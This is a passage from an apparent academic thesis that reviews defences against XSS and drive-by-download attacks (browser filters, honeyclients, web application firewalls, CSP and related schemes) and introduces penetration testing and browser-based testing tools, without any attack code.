browsers on this speciﬁc class of attacks?
2.2 Client-Side Attack Detection and Prevention
In this section, we will introduce a few notions on intrusion detection and prevention
systems, followed by a few elements on code analysis techniques. The remaining sections
present existing client-side attack detection and prevention techniques sorted by their
respective location on the web application servicing chain.
2.2.1 An IDS Overview
As an introduction to this section, we present an intrusion detection system (IDS)
overview. Debar et al. [31], and we follow these taxonomy parameters to analyze existing
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client-side attack detection systems.
Detection Strategies: Knowledge-Based System and Behavioral-Based System
A knowledge-based system is also known as misuse detection systems. It describes
what an attack is and what are the symptoms of this attack. Such an approach is often
qualiﬁed as a signature-based approach. Snort is a well-known and widely used tool using
this approach. This kind of generic-purpose detection strategy requires data canonization
to defeat obfuscation. It can be eﬃcient for a quick response to an identiﬁed threat. But
its main drawback is the unknown attack for which no signature is available.
Behavioral-Based Systems
A behavioral-based system, also named anomaly detection systems, has no knowledge
of existing attacks. Its conﬁguration is issued from the knowledge modeling the normal
behavior of a system. They are highly dependent on the monitored system modeling or
emulation. It has the main advantage to potentially catch novel attacks by detecting its
eﬀect on the system. Some of these systems are based on machines learning techniques.
A speciﬁcation-based system belongs to this latter detection category and is the other
way to detect an anomaly in the behavior of a system. et al. have shown that manual
speciﬁcation-based behavior of a program can be used as a reference model to detect
attacks [32]. This type of system is able to detect any attack violating the reference
model, and has the ability to detect both known and unknown attacks. It has now also
been widely applied to various protocols' speciﬁcations to detect network-layer attacks.
Other Parameters Frequently Used
In this same IDS taxonomy, two possible detection behaviors are described: passive
alerting and active response. Traditional IDS systems use passive alerting, where intrusion
prevention systems (IPS) and honeypots used in drive-by download detection use the
active response scheme.
Another widely used ﬁeld is audit source location whose possible values are application
log ﬁles, network, host log and IDS sensors, that gave the widely used terms network IDS
(NIDS) and host IDS (HIDS). The ﬁeld detection paradigm has the following set of state
based and transition based combinable with non-perturbing evaluation and proactive
evaluation.
2.2.2 Oﬀensive Code Analysis Techniques and Location Constrains
Since web attacks occur on a web application level, source code or source code parts
like HTML and JavaScript are often analyzed in the attack detection process, either for
a protective measure setup such as detection mechanism weaving, or to determine if a
code is malicious or totally harmless. So we need to introduce a few principles in source
code analysis techniques to understand the presented security techniques [33].
25
2.2. CLIENT-SIDE ATTACK DETECTION AND PREVENTION
We can sort these techniques using two analysis axis: online vs oine and dynamic
vs static.
Static Analysis vs Dynamic Analysis
Static analysis consists in obtaining information on a given code without executing it.
It's the safest way to analyze hostile code. Obfuscation is a common technique to defeat
static analysis.
Dynamic analysis consists in executing hostile code in a controlled environment and
tracing its action on the system. Attackers often put defensive code to detect dynamic
analysis like emulation, debugging or sandboxing.
Oine Analysis vs Online Analysis
Oﬀ-line analysis consists in isolating the hostile code from the Internet, or conduct-
ing analysis with the passively collected information. It is typical for a non-perturbing
analysis strategy. Network based intrusion detection systems are in this category.
On-line consists in actively stimulating the hostile code from the server hosting it,
or letting the hostile code request resources on the Internet. It is also called pro-active
evaluation in Debar et al. taxonomy [31]. client-side honeypot (a.k.a honeyclient) fall in
this category.
We don't follow the traditional black-box vs. white-box paradigm since we deal with
interpreted code, so we always have source code to analyze (mainly JavaScript and
HTML).
Position and Detection
The IDS location in the web application supply chain brings its constraints on the
analysis techniques. Figure 2.2.2 displays all the possible locations.
Position
Host
HybridServer-sideClient-side
Network
Figure 2.6  Locations for client-side attack detection in the web application supply chain
At the server-side, the application's internal knowledge is a great help to distinguish
between application provided scripts and external ones. But the server cannot control
any external contents, or same origin policy (SOP) violations. Its view on the client state
is always incomplete.
At the browser-side, issues caused by browser-diversity are mitigated, since the solu-
tion operates within an identiﬁed browser. It requires adapting the solution to the browser
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diversity in terms of cross-browser compatibility. It may even require re-developing the
solution for each browser vendor.
On the network, HTTPS protocol can cause severe issues for NIDS, requiring lawful
interception of the HTTPS traﬃc at the HTTP Proxy level to properly decrypt HTTPS
before performing its analysis. But it causes no problem at the server-side or at the
client-side. Only in-between components require HTTPS decryption to work.
In the following sections, we will split detection mechanisms based on their location
on the web application supply chain. The location can be either in between the client and
server, or on server / client sides. This section is composed as follows: The ﬁrst section
is dedicated to security systems positioned on the Client, with two speciﬁc focus for XSS
and drive-by download attacks. The second section focuses on server-side mechanism
for XSS attacks detection. In the third section, we study cooperative strategies where
client and server cooperate to block XSS. Finally we will discuss existing solutions for
network-based detection of client-side attacks.
2.2.3 Client-Side Mechanisms
Client-side security solutions range from anti-viruses to browser-speciﬁc plug-ins. A
client-side location is a good way to collect every input available on the browser and
constituting a web-based client-side attack.
2.2.3.1 XSS Attack Detection
Since cross site scripting abuses the browser, it seems logic to put detection and
prevention on the browser.
In a survey, Saha highlighted several pitfalls for XSS vulnerability detection and XSS
attack detection [34]:
 Browser speciﬁc behaviors (a.k.a. browser quirks 10);
 DOM related issues like URL fragment evasion, usage of InnerHTML and eval()
function in the web application code;
 Multi-module or multi-step XSS: several actions must be executed to enable the
vulnerability.
However, in his survey he mixes attack detection and vulnerability discovery, making
it unclear if these pitfalls are valid for both or if some are speciﬁc issues for intrusion
detection.
Two approaches are used to implement XSS attack detection within a user-agent:
adding code to the browser itself (via plug-ins or browser modiﬁcations) or placing a
security component on the browser's host OS, like a proxy. NoScript, XSS Auditor and
Internet Explorer anti-XSS ﬁlters are security mechanism operating within the browser.
Noxes operates on the client OS as a web proxy.
10. The Merriam-Webster dictionary deﬁnes a quirk as a a peculiar trait
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Noxes
Noxes is a client-side web proxy enforcing same origin policy for requests. It belongs
to behavioral-based ids. It checks every static link provided by a given website. If the
browser requests an URL not listed within the links provided by the website, then it's
either a manually typed URL, or one originating from a dynamically generated link,
potentially generated by an XSS. It oﬀers the user the ability to decide if a given request
should be trusted or not in the same way a personal ﬁrewall does. This idea was then
used in the NoScript plug-in design. Moreover the idea of focusing on the eﬀect of the
attack rather than detecting the attack itself is an interesting strategy, but it supposes
that the attack will violate the Same Origin Policy (SOP) to extract the victim's session
cookie. Thus a crafted command targeting the same website remains undetected. Storing
a session's cookie information on the legitimate website is also a way to bypass such
protection.
NoScript
NoScript is a behavior-based IDS working as a Firefox add-on allowing users to specify
an execution policy per website [35]. It is able to detect DOM-based XSS and reﬂected
XSS. But it can't ﬁght stored XSS since users often allows JavaScript execution on trusted
websites.
Many XSS ﬁlters rely on regular expressions as signatures for misuse detection, and
this type of grammar is not adapted to the HTML and JavaScript language parsing. Thus
regular expression should be avoided in client-side XSS ﬁlters as Bates et al. stated [36].
But their evaluation was based on XSSED website entries. Most XSS vulnerabilities
reported on the XSSED website are basic reﬂected XSS vulnerabilities, and don't expose
the full scope of XSS vectors an attacker can use. That's why XSS Auditor suﬀers from
many bypasses related to special characters handling and quirky browser behaviors 11.
The web application itself can sometime inﬂuence its detection 12.
Internet Explorer 8 Anti-XSS Filter
This anti-XSS mechanism also suﬀers bypasses [36]. It generates a regular expression
based on outbound traﬃc it replaces speciﬁc characters by a # to neuter the malicious
script. This mitigation scheme can cause security issues too as Nava et al. demonstrated
[37], literaly breaking existing website security mechanisms 13.
Recapitulation
If reﬂected XSS can be (at least partially) detected by comparing browser requests
with server response, stored XSS cannot, since it requires to distinguish between legit-
11. XSS Auditor bypass bugs:https://bugs.webkit.org/buglist.cgi?keywords=XSSAuditor&
resolution=---, http://www.thespanner.co.uk/2013/02/19/bypassing-xss-auditor/
12. http://zeroknock.blogspot.fr/search/label/Bypassing\%20XSS\%20Auditor
13. see http://p42.us/ie8xss/bing.png and http://p42.us/ie8xss/
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imate server content and injected content from the delivered web page. This key dis-
tinction cannot be achieved if the delivered content come from a trusted but vulnerable
website. Thus additional information from the server is required to detect stored XSS
and malicious inclusion of drive-by download attack content.
2.2.3.2 Drive-by Download Detection
Two detection schemes exist in client-side attack detection of drive-by downloads.
One passive approach monitors the user's browser in some way. The second one is active
and traps the attacker into a to reveal itself.
The active approach based on client-side honeypot is highly desired as a proactive
monitoring measure on the Internet. It can help identifying new malwares delivered by
drive-by download, and compromised websites. The passive approach is more suited to
host protection to avoid PC infection upon surﬁng a compromised or malicious website.
Honeypot
In actives approaches, a honeypot is a vulnerable looking system designed to observe
attackers and identify them. Kippo 14 is a good example of a SSH honeypot. It emulate
ssh access to a machine after a brute force attack. Once the attacker accesses the service,
all his commands and ﬁles are saved for analysis.
Honeyclient
A honeyclient is deﬁned as a honeypot simulating a vulnerable browser. We can use
the level of interactivity as an analysis axis. A low interaction honeyclient consists in
a specialized crawler with HTML and JavaScript code analysis features. While a high
interaction honeyclients consist in instrumented browsers running in virtual machines.
The main goal of a honeyclient is to force a malicious website or a malicious HTML/-
JavaScript ﬁle to uncover its exploits and malwares.
Wrapping browser components in a scripted language is a common architecture to
build a low interaction honeyclient. The basic idea is to avoid using full browser com-
ponents to avoid browser related vulnerabilities when executing the hostile code, while
having enough interactivity to emulate browser behavior.
Thug 15, JSAND [27], Cujo [38] and monkey-spider [39], are low interaction honey-
client wrapped around a JavaScript engine and an HTML parsing library. Around this
core, many static or dynamic analysis tools are used to identify and emulate shellcode
execution, or monitor dynamic code generation via eval() function call monitoring.
14. https://code.google.com/p/kippo/
15. https://github.com/buffer/thug
29
2.2. CLIENT-SIDE ATTACK DETECTION AND PREVENTION
Detection and Analysis of Drive-by Download Attacks and Malicious JavaScript
Code
Cova et al. used the HtmlUnit framework linked with a Rhino JavaScript engine to
build a low interaction Honeyclient [27]. The sandbox JSAND measure JavaScript behav-
ior like the number of redirects, the number of byte allocation through string operations,
the number of likely shellcode strings etc. The scoring is then analyzed using an anomaly
detection engine.
The limitation faced by JSAND is also shared by other honeyclients, even high-
interaction ones, since they cannot embed all variations of plug-ins and browser versions
available, they will miss some corner cases. For example when an EK targets a speciﬁc
plug-in (like the origin gaming plug-in 16) if this plug-in is missing in the high interaction
honeyclient, no attempt to exploit plug-in related vulnerability will be observed.
This limitation is mitigated by the fact that unusual plug-ins or conﬁgurations are less
likely to be targeted by EK since they represent a smaller share of the potential victims.
But for targeted attacks like the aurora attack against Google 17,and a company using
this kind of honeyclients should assess it behaves in the same way company's browser
does. This raises the question of how such an assessment can be performed?
Thug
Thug 18 is a low interaction honeyclient written in python and built around the beauti-
fulsoup 19 library for HTML parsing, and the Google V8 engine for JavaScript execution.
It integrates shellcode emulation to simulate successful exploitation and grab additional
resources like the ﬁnal malware to be executed on the victim's PC. Thug architecture is
meant to implement browser personalities, to impersonate browser-speciﬁc features. But
it also suﬀers from the same drawbacks as JSAND. The use of Internet Explorer con-
ditional comments in the Black Hole Exploit Kit (BHEK) ﬁngerprinting phase impaired
the tool for a few weeks before the blocking issue was ﬁnally identiﬁed and solved by its
author.
IceShield
IceShield is a DOM locking mechanism proposed by Heiderich et al. [40] 20. It provides
the ability to control actions made by JavaScript functions to the DOM. DOM related
JavaScript functions are placed in a closure 21, and their access is enforced by an embed-
ded policy. By doing so, the DOM modiﬁcation is frozen by default. The initial setup
16. http://revuln.com/files/Ferrante_Auriemma_Exploiting_Game_Engines.pdf
17. http://en.wikipedia.org/wiki/Operation_Aurora
18. https://github.com/buffer/thug
19. http://www.crummy.com/software/BeautifulSoup/
20. slides:http://www.slideshare.net/x00mario/locking-the-throneroom
21. A closure consist in a function associated with its context. It is a typical way to implement access-
control on functions without having to modify its code by wrapping them in a closure
http://stackoverflow.com/questions/111102/how-do-javascript-closures-work
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of the protection is the most critical part. IceShield relies on the latest ECMAScript 5
norm features to enforce the policy. Thus any browser without support for these features
cannot beneﬁt from IceShield protection. The main strength of IceShield is to be a purely
JavaScript based policy enforcement system, like the MET policy mechanism proposed
by Erlingsson et al. [41]. Heiderich et al. successfully used the IceShield DOM freezing
technique to monitor DOM modiﬁcations made by EK in drive-by download attacks.
Exploit Krawler
Exploit Krawler 22 is a high interaction honeypot using multiple browser instances
to analyze one infection URL. It uses multiple virtual machines with a live in-memory
analysis to extract relevant browser information like the executed scripts without browser
hooking or modiﬁcation. The browser instances are driven using Selenium web driver 23.
HTTP and HTTPS requests are analyzed using Honeyproxy 24. The tool architecture
allows the crawling of the same URL with multiple IPs to identify country-speciﬁc attacks
and related malwares.
The usage of browser speciﬁcities for ﬁngerprinting poses a real challenge for honey-
clients. Identiﬁcation of such speciﬁcities and its integration in a test suite might be a
good way to improve low interaction honeyclients.
2.2.4 Server-Side Mechanisms
Web Application Code
Web application code can be seen as the ﬁrst line of defense against XSS attacks.
Many web frameworks propose sanitization functions for a HTML context. Applying
the right sanitization function adapted to the right output context for a given data is
a problem formalized by Saxena et al. in SCRIPTGUARD [42]. They make a clever
distinction between the quality of a sanitization function and the proper use of such
a function. But they have forgotten to take into account the browser behavior in this
analysis. Since these functions are not suited for all contexts, as stated by Weinberger
et al. in their study [43], they proposed a browser model and extended the safety model
from Zu and Wasserman [12] to take the context into account during the sanitization
process.
To deal with the browser's inﬂuence in their detection process, Bisht et al. used Firefox
components to identify scripts output by a web server [44]. Then they processed the
22. demo:
https://www.youtube.com/watch?v=NnHQOJjdnVk,
talk:
http://www.dailymotion.com/video/x1b44zr_23-sebastien-larinier-and-guillaume-arcas-exploit-krawler-new-weapon-againt-exploits-kits_
tech,
slides:
http://archive.hack.lu/2013/Hack.lu.2013-ExploitKitsKrawlerFramework.pdf
23. url selenium web driver
24. http://honeyproxy.org/
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collected scripts to check for diﬀerences between generated JavaScript parse tree and the
web application scripts extracted from regular executions. If they detect a delta between
parse trees compared to similar requests they ﬁlter-out the potentially noxious output.
The use of browser components in the detection process helps prevent evasion based on
encoding tricks and browser quirks. But among the major browsers, some are proprietary
software and can't be cut down in pieces to build another JavaScript identiﬁcation engine.
Any XSS vector working only with a given browser will go undetected if another browser
engine is used. This detection approach have a blind spot when it comes to attack vectors
targeting a speciﬁc browser version or vendor which diﬀers from the browser component
used for script identiﬁcation.
PHPIDS
PHPIDS is a server-side security solution for PHP applications whose XSS detection
mechanism is based on the following elements:
 a blacklist for XSS vectors identiﬁcation,
 a normalization engine to handle obfuscation,
 a scoring engine for unknown threats,
The scoring engine is based on the principle that any XSS attacks needs several speciﬁc
characters in a given proportion to function. Its detection engine can be bypassed by
using an unknown vector and diluting signiﬁcant characters with benign ones to change
the scoring 25 26.
Mod_security
Mod_security is a web application ﬁrewall server-side module for Apache web server.
Where most web application ﬁrewalls run as reverse-proxy appliances, mod_security can
be deployed on the server or as a reverse proxy by combining it withmod_proxy. Deployed
on the server-side, it allows application resource access to the ﬁltering rules. The ﬁltering
rules are based on regular expressions, thus suﬀering the same issues stated by Bates et
al. [36] but they can be enhanced with LUA scripts to handle dynamic aspects of the
web application. To handle more complex XSS cases in the detection on the server side,
Barnett proposed to combine mod_security with PhantomJS and WebKit XSS Auditor
as a detection oracle 27.
Recapitulation
Here again, the need for a detection mechanism able to embrace the browser diversity
in terms of parsing quirks is high. This issue of browser peculiarities impacting security
ﬁlters have strongly inﬂuenced many attack detection mechanisms but no server-side
mechanism fully address this issue.
25. see http://p42.us/favxss/fav.ppt and section 3.6.6.1 in [45]
26. This principle is also used in the Naxsi web application ﬁrewall
27. http://blog.spiderlabs.com/2013/02/server-site-xss-attack-detection-with-modsecurity-and-phantomjs.
html
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2.2.5 Proxy Mechanisms: Between Client and Server
Almost all commercial web application ﬁrewalls (WAF) are sold as reverse-proxy ap-
pliances standing between the server and user-agents. It is a handy solution for deploy-
ment, since it can be installed independently from the web application or the browsers.
Most commercial reverse-proxy WAF works with regular expressions applied on the web
traﬃc. Since none of them provide more insights on their inner-workings, none of them
will be mentioned in this state of the art.
SWAP
To take into account browser-speciﬁc parsing issues in script identiﬁcation, Wurzinger
et al. [46] instrumented a browser engine in a reverse-proxy named SWAP. SWAP is a
reverse proxy relying on an instrumented browser to identify JavaScript codes within web
applications. The application code is identiﬁed and modiﬁed to render the application
scripts unreadable by the instrumented browser. If no new scripts are detected, the
application's scripts are decoded and the answer is sent to the client. If one or several
scripts are identiﬁed; the reverse-proxy consider it as the result of a XSS attack.
The main advantage of this solution is that it provides similar behavior between a
real browser and SWAP 's browser. But this advantage comes with drawbacks. The ﬁrst
limitation is if the swap browser suﬀers from the same vulnerabilities as the instrumented
browser, even if JavaScript isn't executed preventing an attacker from successfully ex-
ploiting the vulnerability, it can cause denial of service (DoS) by crashing the SWAP
instance. The second problem is that SWAP is only able to understand scripts carried by
XSS vectors speciﬁc to its browser family and version. Thus, an attacker can bypass the
protection by targeting another family or another version than the one instrumented by
SWAP. As the last drawback, this technique is unable to detect DOM XSS since SWAP 's
browser does not interpret JavaScript.
Existing security appliances can oﬀer anti drive-by download mechanism. They mostly
work as a web proxy, and scan exchanged ﬁles with an anti-virus and maintain URL
blacklists of identiﬁed exploit kits (EK).
Recapitulation
Browser-speciﬁc code is a common solution for cross-browser compatibility issues 28.
If we want a trustful post-condition for HTML output, we need to take this issue into
account, and explore this ﬁeld to know if browser-speciﬁc code parts can be an issue for
our detection strategy.
2.2.6 Hybrid Approach: Client and Server Cooperation
Since client-side mechanism lack website knowledge, and most server-side mechanism
are unable to replicate browser's behavior. balancing the detection between the browser
28. caniuse compatibility tables for cross-browser compatible code development.
http://caniuse.com/
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and the server is a good way to get the best of both worlds: website knowledge and
precise browser behavior.
BEEP
BEEP stands for Browser Enforced Embeded Policies and was proposed by Trevor et
al. [47]. Within the browser, a JavaScript hook is executed as the ﬁrst script in the web
page to control all scripts execution. The developer speciﬁes where script execution should
not happen. This approach relies on the browser's capacity to detect scripts and the
developer's ability to identify where script execution should be avoided. This code hook
must be called each time the HTML content is scanned for scripts, requiring a browser
modiﬁcation. Server script integrity is veriﬁed using a SHA1 hash, suﬀering collision
issues. Each server script hash is computed server-side. The only critics remaining against
BEEP is the need for a custom browser event implemented in standard in all browsers.
Achieving full control over DOM modiﬁcations from JavaScript is a very diﬃcult process
explored by Heiderich in his thesis [45]. Both concluded that a dedicated browser function
is required to properly control DOM modiﬁcations.
Such DOM monitoring capability would also be very useful for drive-by download
detection, since the de-obfuscation routines makes heavy use of DOM access and modi-
ﬁcation functions.
Mutation Event Transforms (MET)
To oﬀer a more ﬁne-grained policy, Erlingsson et al. [41] proposed a new browser event
to execute server-side code in a secure manner on the user-agent to enforce security policy.
The main advantage of the MET event, is the ability to access the AST of the JavaScript
code executed alongside with the parsed DOM before script execution. Whereas BEEP is
an implemented proof of concept, MET are just a proposition without implementation.
Noncespace
Noncespace by Van Gundy et al. [48] follows the same track, by proposing randomized
XHTML namespaces as tag preﬁxs to prevent XSS injecting tags. XHTML namespaces
are supported by a lot of browsers, providing backward compatibility, and a ﬁrst way to
avoid XSS by tag injection since the namespace is randomized. But Noncespace design
suﬀers one major ﬂaw: it does not handle the inline script injection case contrary to
BEEP [47] and MET [41].
Blueprint
Blueprint is a server-side protection with a JavaScript client-side code used for client-
side code delivery [49]. Its goal is to ensure the intended HTML output is properly
delivered to the browser. To do so, Blueprint bypass some browser parsing phases of
the HTML content to avoid unsuspected quirks polluting the rendering. The untrusted
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HTML parsing is done with a modiﬁed version of HTMLPuriﬁer 29 and delivered to the
browser in a speciﬁc location within the HTML document. The client-side script is in
charge of incorporating the safeguarded HTML in the original document using standard
DOM functions. Blueprint requires web application modiﬁcation to function. By design,
Blueprint cannot prevent DOM XSS, because it only checks server generated content,
and its proper delivery on the browser side.
Content Security Policy (CSP)
CSP is the ﬁrst standardized 30 31 mean to exchange a policy between the server and
the browser [50] [51]. This normalization is heavily supported by the Mozilla foundation
at the W3C. This norm also covers client-side data leak issues and deter clickjacking
since it blocks Iframe pointing to unauthorized websites. It also allows the speciﬁcation
of legitimate content sources and request destinations. Meaning that the attacker is
unable to send information to one of his controlled domains if an XSS happens in the
web application.
RaJa/xJS
RaJa/xJS is a JavaScript instruction set randomization implemented in the browser's
JavaScript engine [52,53]. RaJa communicates with the server to grab the randomization
seed required to be able to understand the JavaScript code. If an injection occurs, the
attacker's JavaScript will not display the random seed in its instructions and thus will
not be executed by the modiﬁed engine.
DOM RBAC using a frozen DOM
Inclusion of JavaScript code in each web page to prevent XSS is a promising strategy
[45], requiring small modiﬁcation of each web pages. All DOM access functions are stored
in a closure 32 to prevent illegitimate uses. It allows specifying a more ﬁne-grained security
policy than for CSP, and it is possible to handle very subtle cases of DOM-based XSS.
JavaScript Layer Randomization (JSLR)
JSLR is a small proof of concept proposed by Heyes [54] 33. based on the same techni-
cal mechanism as the one used by Heiderich et al. in IceShield 34. It executes in the same
way as the ﬁrst script, and handles decoding of randomized DOM elements on the ﬂy.
The main advantage of JSLR over NonceSpace is the absence of browser modiﬁcation,
and the handling of inline scripts mitigation.
29. Heiderich showed several bypasses for HTMLPuriﬁer in his thesis [45]
30. CSP support coverage from caniuse:http://caniuse.com/contentsecuritypolicy
31. http://content-security-policy.com/
32. http://stackoverflow.com/questions/111102/how-do-javascript-closures-work
33. http://www.thespanner.co.uk/2012/06/05/jslr/
34. DOMContentLoaded support table:http://docs.webplatform.org/wiki/dom/Event/
DOMContentLoaded
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Recapitulation
Information about all the client-side code executed by the browser is available in it.
If the detection mechanism is placed on the client, no script execution will be missed.
If this approach can be completed with website knowledge, legitimate scripts can be
distinguished from attacker's one. Achieving cross-browser security at the client-side level
with the transmission of information from the server requires standardized data exchange
mechanisms to communicate the policy to the browser. Security mechanism relying on
standard browser modiﬁcation implies much more than patching, and bringing competing
browser vendors to agree on a standard event to implement is a long process.
Writing such policy by taking into account all script sources present in a modern
website will be a challenge. And if the policy trust a vulnerable web site script, it can
have severe consequences. Thus, these policy enforcement mechanisms must be completed
with a behavior-based misuse detection approach.
In hybrid approaches(client-server cooperation), DOM modiﬁcation monitoring is a
promising technique which does not require to patch browsers. It could be used as is
within a honeyclient ' JavaScript engine. Meanwhile new browsers emerge in areas where
patching or evolving can't be done. Requiring to place the detection engine elsewhere. The
network is the universal point of detection where all exchanged scripts can be observed,
a detection zone left alone in all these studies.
2.2.7 Network Based Approaches
Most Network Intrusion Detection Systems (NIDS) focus on compromised host de-
tection, or rely on generic signatures (mostly regular expressions applied on preprocessed
data) to detect client-side attacks.
Compared to the work done on anomaly detection for XSS and drive-by download
on the client-side, network intrusion detection seems a bit left alone on the subject. The
misuse approach dominates the market, mainly for performance and ease of use. Despite
the use of very eﬃcient HTTP reconstruction to defeat fragmentation 35 36, NIDS cannot
go deep enough to uncover obfuscated HTML or JavaScript attacks. After all, they still
rely on regular expressions the same way mod_security and some server-side XSS ﬁlters
do, falling on the same issue stated by Bates et al. [36].
2.2.8 Recapitulation of Client-Side Attack Detection Mechanism
In this section, we have seen many client-side attack detection mechanism at various
positions in the web application architecture (see ﬁgure 2.7). We have seen that NIDS
are unable to understand browser-speciﬁc attacks since they have no way to interpret
or analyze JavaScript and HTML properly. Moreover there are no existing server-side
35. suricata applicative ﬂow reconstruction: https://home.regit.org/2012/11/
suricata-flow-reconstruction/
36. suricata HTTP keywords https://redmine.openinfosecfoundation.org/projects/suricata/
wiki/HTTP-keywords
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Figure 2.7  XSS attack detection overview
mechanisms to identify drive-by download scheme setup by an attacker on a given website
(see ﬁgure 2.2.3.2). This detection issue is similar to stored XSS attack detection. The
only way to discover an attack planted in the web application is to browse it with a sort
of honeyclient. A honeyclient able to track cookie usages to detect its leakage to another
website (probably controlled by the attacker).
Browser-engine coverage in existing XSS testing or XSS detection schemes and Drive-
by detection is partial as shown by table 2.9. The same observation can be done for
JavaScript engine coverage on table 2.10. If browser-speciﬁc code is used in the attack,
detection scheme will fail.
Only Wurzinger et al. acknowledges the lack of browser engine coverage in their
approach as a limitation to the oﬀered protection [46]. The HtmlUnit tool is referenced as
a potential universal parser with its ability to impersonate several browsers. This ability
needs to be properly assessed, to check the concrete validity of such impersonation.
DOM-Frozing is the only cross-browser protection mechanism which does not rely on
browser-speciﬁc feature implementation like CSP, and can handle DOM modiﬁcation at
its ﬁnest grain. Observing and highlighting the issue by experimentation could be the ﬁrst
step toward its remediation. Current security mechanisms avoids browser-speciﬁc issues
by proposing browser-speciﬁc solutions. During our work we also observed that attack
detection models does not take browser diversity into account. Since testing tools and
libraries serve as a basis for several security tools, maybe this issue of browser-speciﬁc
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code testing might already be solved in the testing community.
We still observe a strong threat to the diﬀerent approaches validity when they rely
on a single HTML parser to identify scripts in HTML. This script identiﬁcation must
be compared to the script identiﬁcation done by actual browsers. To avoid detection,
an attacker could use any gap in the script identiﬁcation between real browsers and the
employed HTML parsing component.
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2.3 From Software Testing To Application Layer Attacks
f u cn rd ths, u cn gt a gd jb n
sftwr tstng.
Anonymous
Security bugs are a software bug sub category impacting security properties 37. Soft-
ware engineering has a bigger experience in software testing techniques than can be
re-used in security. In this section we will explore what software-testing can bring to the
security ﬁeld.
Many bugs, like many security issues come from a gap between what is generally
understood about the system and its real way of working. Testing is a way to assess
this understanding. This quest for knowledge by empirical experiments is the basis of
hacking. Hackers, with very add-hoc techniques, ﬁrst discovered security ﬂaws but the
growing need for the industrialization of the process pushed software engineers into the
security ﬁeld. Software testing maturity allows for a more automated test process. This
software testing automation enable a better handling of the growing complexity of web
applications. Application security testing is nothing more than software testing with
a twist. A twist inspired by hackers and day to day threats reported by the security
community.
In this thesis, we have studied several software testing tools to assess if a given
XSS vector is executed or not by a given browser. We also used several automation
tools to build our browser collection and run them on our test suites, and encountered
37. http://en.wikipedia.org/wiki/Security_bug
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several issues worth mentioning as interesting software testing issues. The development
community is also rich in empirical information about cross browsers issues, and the
research in software testing also try to bring solutions for cross browser compatibility
issues in web application. These issues are rampant and legitimate our desire to analyze
the impact of browser speciﬁcities on security mechanisms.
2.3.1 The Attack Process
Well, I wouldn't argue that it
wasn't a no-holds-barred,
adrenaline-fueled thrill ride. But
there is no way you can
perpetrate that amount of
carnage and mayhem and not
incur a considerable amount of
paperwork.
Nicholas Angel, Hot Fuzz
Security testing is split into two worlds: one targets functional security testing, and
aims to validate the correctness of security policy implementation or the eﬃciency of
access control mechanisms. The other targets software vulnerabilities and aims to identify
software ﬂaws that can lead to vulnerabilities.
If you want to understand the attacker's point of view, penetration testing is the
closest type of security testing to look at.
Penetration Testing
Penetration testing is an exploratory testing [55] iterative process to assess the secu-
rity of a system. The system can be as small as a web application or as big as an entire
company's information system. The goal of penetration testing is to highlight critical
ﬂaws and attack paths in the systems leading to asset compromises. It is a black box
approach with a limited time frame. Thus it cannot be exhaustive, and relies on many
tools for eﬃciency. A typical penetration testing cycle is run in four phases:
 intelligence gathering;
 vulnerability analysis;
 exploitation;
 post-exploitation or pivoting.
Intelligence gathering is the recon phase of penetration testing. During this phase, the
system is mapped from the attackers point of view. The network topology is discovered
using network scanners. Software components and versions are identiﬁed using various
ﬁngerprinting techniques. At the end of the intelligence gathering the penetration tester
obtains a partial system topology.
Vulnerability analysis. This phase consists in identifying suitable attack vectors for
each component identiﬁed in the intelligence gathering phase. If no suitable attack vec-
tors can be used for the identiﬁed components, a complementary phase of vulnerability
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discovery is done for the identiﬁed software components. This vulnerability discovery can
be done on-line or oﬀ-line. At the end of the vulnerability analysis, the penetration tester
obtains one or several attack paths (or attack scenarios).
In the exploitation phase, each attack vector identiﬁed for a given attack path is setup
to carry the chosen payloads. Once the attack is launched, the penetration tester gains
privileges or control over one or several components of the system.
The post-exploitation phase consists in stabilizing the obtained privileges, analyzing
the information obtained by the exploitation and preparing the requirements for another
testing cycle on the information system.
Software testing techniques are heavily used in the vulnerability analysis phase of
penetration testing.
Bypass Testing
It is a black-box testing technique which involves bypassing client-side input val-
idation and triggering the server-side input validation (if it exists) [56]. Bypassing is
possible either via some browser plugins (like Firebug 38 or Opera Dragonﬂy 39) or by
automatically generating requests to be sent directly to the server (using Java or C++
for example).
Robustness Bypass Testing
Its aim is to challenge the robustness of the web application server-side by directly
providing erroneous inputs. These inputs violating the client-side constraints are sent
to the server side. The ﬁnal goal is to uncover robustness problems and improve the
server-side code.
Security Bypass Testing
Targets the evaluation of server-side security. The data sent in this case represents
typical attack vectors (code injection attacks like XSS, command injection or SQL in-
jection). Some predeﬁned attack patterns are injected and sent to the server, which is
expected to ﬁlter, sanitize or block this malicious data. The ﬁnal objective is to highlight
security issues.
Fuzz Testing
Also named fuzzing, fuzz testing is a black box fault injection testing technique [57]
[58]. It consists in using pieces of attack vectors on the inputs of a given software to
trigger errors or failures. It relies on a strong mapping of software inputs and outputs. In
web applications, achieving a full discovery of all its inputs is a strong research issue [59].
38. https://addons.mozilla.org/fr/firefox/addon/firebug/
39. http://www.opera.com/dragonfly/
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Taint Analysis
Taint analysis 40 is a data ﬂow analysis techniques consisting in keeping track of values
derived from user inputs. [6062]. Taint analysis can also be used for test generation
purposes [63].
2.3.2 Browsers In Software Testing
At anytime, when dealing with web application testing in some way, a browser, or
at least a browser engine or HTML parsing libraries are involved. Any security solu-
tion dealing with client-side attacks needs to address the issue of HTML parsing and
JavaScript analysis. Browser automation can be helpful in this situation.
The user-agent in the testing process is taken into account, from HTMLUnit where
browser is emulated to selenium-based testing strategies where the real browser is used,
the software engineering community already took similar issues into account and propose
technical solutions to automate client-side testing.
Here are the most promising ones used either in the testing or the security industry:
HtmlUnit
It is an unit testing framework dedicated to web application testing 41. It is written in
Java and is able to handle several web contents like CSS and JavaScript. It can emulate a
browser and achieve client-side script execution in the testing process. Thus one can use
it for website functionality testing as well. HtmlUnit is used in several ongoing security
related research projects [27] [64] [65] [66] as an XSS oracle, or as a script identiﬁcation
engine.
PhantomJS
PhantomJS 42 is a WebKit browser without a user interface for web application func-
tional testing. Built around WebKit, it uses JavaScript as an automation language.
SlimerJS
SlimerJS 43 is an adaptation of PhantomJS with a Gecko engine instead of WebKit.
TriﬂeJS
TriﬂeJS 44 is similar to PhantomJS but it works with the MSHTML engine ( a.k.a.
Trident) and V8 for the JavaScript engine.
40. http://users.ece.cmu.edu/~dbrumley/courses/18487-f10/files/taint-analysis-overview.
pdf
41. http://htmlunit.sourceforge.net/
42. http://phantomjs.org/
43. http://www.slimerjs.org/
44. http://triflejs.org/
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CasperJS
